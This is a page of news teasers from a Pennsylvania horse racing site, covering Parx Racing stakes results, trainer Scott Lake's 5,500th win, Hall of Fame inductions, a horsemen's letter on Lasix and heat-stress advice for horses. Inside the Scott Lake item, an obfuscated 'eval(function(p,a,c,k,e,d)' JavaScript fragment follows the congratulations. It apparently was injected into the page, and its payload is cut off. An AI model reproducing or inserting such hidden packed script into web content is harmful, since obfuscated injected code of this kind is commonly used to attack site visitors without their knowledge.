Preventing Heat-Related Problems in Racehorses
On warm, hot, humid or still conditions, or if requested by the state veterinarian, please: Cool horses before and after races with cold water Remove saddles and blinkers promptly after the race Apply large amounts of cold water as soon as possible Scrape off
Ben’s Cat Now A Multi-Millionnaire
Not a single horse in the nation digs in deeper than Ben's Cat when he hits the top of the stretch. Dirt or turf, it doesn't matter; Ben's Cat puts every bit of heart on the line in every single
Two State-Bred Stakes on Saturday Card
Saturday Parx Racing will host a pair of state-bred stakes on the grass, the $75,000 Crowd Pleaser Stakes and the $75,000 Power By Far Handicap. The Crowd Pleaser is for three year-old males at one mile and one-sixteenth while
Beyond Smart & Miss d’Oro Take Saturday Stakes
Saturday Parx Racing hosted two state-bred stakes on the grass, the $75,000 Crowd Pleaser Handicap and the $75,000 Power By Far Handicap. Augustin Stable’s Beyond Smart held off the late charge of Athelstane to win the Crowd Pleaser by a
Scott Lake Gets Career Victory 5,500
Trainer Scott Lake took his 5,500th career victory on July 30th at Delaware Park with juvenile filly Comforter. This weekend, Parx Racing celebrated the milestone with a special presentation in the winner's circle. Congratulations to Scott Lake! eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new
Congratulations to the Parx Racing Hall of Fame Class of 2014
Congratulations to the Parx Racing Hall of Fame's Class of 2014! Join us on Saturday, September 13th as we celebrate the induction of these nine outstanding individuals into our Hall of Fame. We will also be awarding the 2014 PTHA
An Open Letter Regarding Lasix
The Pennsylvania Thoroughbred Horsemen's Association, along with our fellow members of the Thoroughbred Horsemen's Association (THA), have issued the following in response to the current push for an elimination of Lasix on race day. The THA is a regional group
Four Major Stakes on Labor Day Card at Parx
Parx Racing’s September Spectacular of Racing kicks off on Labor Day with four of the track’s major stakes and over $1 million in purses. All featured on the Monday holiday card are the $300,000 Grade 3 Smarty Jones Stakes, the
Parx Horses Defend Home Turf on Labor Day
Parx horsemen held their own in the big Labor Day stakes events, running one-two in the Turf Amazon, as well as second in both the G3 Greenwood Cup and G3 Smarty Jones Stakes. In the $300,000 Turf Monster Handicap, Sharp Sensation
Parx Hosting PA Day at the Races Saturday
This Saturday Parx Racing will play host to the 14th edition of Pennsylvania’s Day at the Races, a day designed to celebrate the Breeding industry here in the Commonwealth, an industry that has become one of the top programs in